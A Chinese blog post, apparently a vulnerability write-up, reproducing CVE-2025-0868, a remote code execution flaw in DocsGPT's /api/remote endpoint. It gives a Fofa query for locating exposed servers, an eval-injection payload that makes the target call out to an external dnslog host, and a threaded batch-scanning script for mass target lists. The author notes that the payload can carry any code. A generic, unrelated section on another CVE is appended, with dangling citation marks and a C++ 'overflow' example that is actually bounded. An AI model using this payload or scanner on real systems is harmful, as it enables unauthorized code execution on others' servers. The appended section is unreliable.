DocsGPT 远程命令执行漏洞复现(CVE-2025-0868)

免责申明:

本文所描述的漏洞及其复现步骤仅供网络安全研究与教育目的使用。任何人不得将本文提供的信息用于非法目的或未经授权的系统测试。作者不对任何由于使用本文信息而导致的直接或间接损害承担责任。如涉及侵权,请及时与我们联系,我们将尽快处理并删除相关内容。

前言:

我们建立了一个更多,更全的知识库。每日追踪最新的安全漏洞并提供批量性检测脚本。

更多详情:

https://pc.fenchuan8.com/#/index?forum=101158&yqm=DGR4X

0x01 产品描述:

        DocsGPT是一款基于大语言模型的开源文档智能问答工具,通过整合GPT系列模型(如GPT-3.5、Falcon和Llama2优化版本)Meta的Faiss相似性搜索库及LangChain框架,支持用户以自然语言对话形式快速查询TXT/PDF/MD/RST/ZIP等多格式文档内容。该系统提供网页端、本地化部署和Chrome插件三种使用方式,允许企业私有化部署知识库并实现离线问答服务,尤其适用于技术文档管理、智能客服等场景,其开源特性还支持用户自定义模型和提示词模板以增强安全性与灵活性。
0x02 漏洞描述:

        DocsGPT 中存在导致远程代码执行 (RCE) 的漏洞。由于使用 eval() 对 JSON 数据进行解析不当,未经授权的攻击者可发送任意 Python 代码以通过 /api/remote 端点执行。 

0x03 影响版本:

0.8.1 <DocsGPT< 0.12.0
0x04 搜索语句:

Fofa:body="Welcome to DocsGPT"


0x05 漏洞复现:

POST /api/remote HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
Content-Length: 232

user=1&source=reddit&name=other&data={"source":"reddit","client_id":"1111","client_secret":1111,"user_agent":"111","search_queries":[""],"number_posts":10,"rce\\\\":__import__('requests').get('http://111.9io46y.dnslog.cn/')}#":11}

这里dns地址可以替换为远程任意可执行代码

 

0x06 批量检测脚本:

批量检测:
python poc.py -f url.txt -p payload
单个检测:
python poc.py -u your-ip -p payload
import argparse
import requests
from urllib.parse import quote, urlparse, urlunparse
from concurrent.futures import ThreadPoolExecutor

requests.packages.urllib3.disable_warnings()

def normalize_url(raw_url):
    if not raw_url.startswith(('http://', 'https://')):
        raw_url = f'http://{raw_url}'
    parsed = urlparse(raw_url)
    return urlunparse((
        parsed.scheme,
        parsed.netloc,
        '/api/remote',
        '', '', ''
    ))

def build_form_data(dnslog_url):

    payload_json = (
        '{{"source":"reddit",'
        '"client_id":"1111",'
        '"client_secret":1111,'
        '"user_agent":"111",'
        '"search_queries":[""],'
        '"number_posts":10,'
        '"rce\\\\":__import__(\\\'requests\\\').get(\\\'{dns}\\\')}}#":1}}'
    ).format(dns=dnslog_url)
    return f'user=1&source=reddit&name=other&data={quote(payload_json)}'

def check_vulnerability(target, form_data, timeout=15, debug=False):
    try:
        final_url = normalize_url(target)
        headers = {
            "Host": urlparse(final_url).netloc,
            "Content-Type": "application/x-www-form-urlencoded"
        }

        if debug:
            print(f"\n[DEBUG] 完整请求URL: {final_url}")
            print(f"[DEBUG] 请求头: {headers}")
            print(f"[DEBUG] 请求体原始数据:\n{form_data}")

        response = requests.post(
            final_url,
            headers=headers,
            data=form_data,
            timeout=timeout,
            verify=False
        )

        if debug:
            print(f"[DEBUG] 响应状态码: {response.status_code}")
            print(f"[DEBUG] 响应体前200字符:\n{response.text[:200]}")

        return response.status_code == 200 and '"status":"ok"' in response.text.replace(' ', '')
    except Exception as e:
        if debug:
            print(f"[DEBUG] 异常信息: {str(e)}")
        return False

def main():
    parser = argparse.ArgumentParser(description="DocsGPT远程命令执行检测工具")
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument("-u", "--url", help="单个检测目标")
    group.add_argument("-f", "--file", help="批量检测文件路径")
    parser.add_argument("-p", "--payload", required=True, help="DNSLog监控地址")
    parser.add_argument("-t", "--timeout", type=int, default=15, help="请求超时时间(秒)")
    parser.add_argument("--debug", action="store_true", help="启用调试模式")
    args = parser.parse_args()

    form_data = build_form_data(args.payload.strip())
    
    # 处理目标列表
    targets = []
    if args.url:
        targets.append(args.url)
    elif args.file:
        with open(args.file, 'r') as f:
            targets = [line.strip() for line in f if line.strip()]

    print(f"[*] 开始扫描 {len(targets)} 个目标")

    with ThreadPoolExecutor(max_workers=20) as executor:
        for target in targets:
            executor.submit(
                lambda t: print(
                    f"\033[1;32m[+] 漏洞确认: {t}\033[0m" 
                    if check_vulnerability(t, form_data, args.timeout, args.debug) 
                    else f"[-] 目标安全: {t}"
                ),
                target
            )

if __name__ == "__main__":
    main()

 


0x07 修复建议:

尽快升级至安全版本

### 关于 CVE-2025 漏洞复现的信息 CVE-2025-1094 被描述为一个需要紧急关注和处理的关键漏洞[^2]。此漏洞可能允许攻击者通过特定条件下的输入验证不足来执行恶意操作,从而危及系统的安全性。为了有效应对这一威胁,组织应采取一系列措施,包括但不限于应用官方发布的补丁更新、强化输入数据的校验逻辑以及遵循行业内的最佳安全实践。 尽管具体的 CVE-2025 复现步骤未在现有资料中明确提及,但从其他类似案例(如 CVE-2021-3493 和脏牛漏洞 CVE-2016-5195)可以看出,通常涉及以下几个方面: #### 1. **环境准备** 对于大多数漏洞复现而言,构建合适的测试环境至关重要。例如,在 Linux 系统上的某些漏洞复现过程中,开发者可能会依赖 OverlayFS 来模拟权限提升场景[^3];而在 Windows 平台上,则需配置开发工具链,比如 Visual Studio 及其 C++ 支持组件[^5]。 #### 2. **编写 PoC (Proof of Concept)** PoC 是证明漏洞存在的重要手段之一。以下是基于假设情景的一个简单代码片段用于演示目的: ```cpp #include <iostream> using namespace std; int main() { char buffer[10]; cout << "Enter up to 9 characters: "; cin.getline(buffer, sizeof(buffer)); // Potential vulnerability point due to lack of proper validation. cout << "You entered: " << buffer; return 0; } ``` 上述例子展示了缓冲区溢出的可能性,如果用户输入超过预期长度的数据而缺乏严格控制的话,就可能导致程序行为异常甚至崩溃[^4]。 #### 3. **分析与调试** 利用调试器跟踪目标应用程序运行期间的状态变化情况可以帮助深入理解漏洞的工作机理。这一步骤往往结合静态代码审查一起完成,旨在发现潜在的安全隐患所在位置及其成因。 #### 4. **修补方案探讨** 针对已知缺陷提供有效的缓解策略同样重要。正如之前所提到过的那样,及时部署厂商推荐的安全升级包是最直接也是最可靠的方法之一。除此之外,加强前端/后端交互环节中的参数过滤机制亦能起到一定防护作用。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

iSee857

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值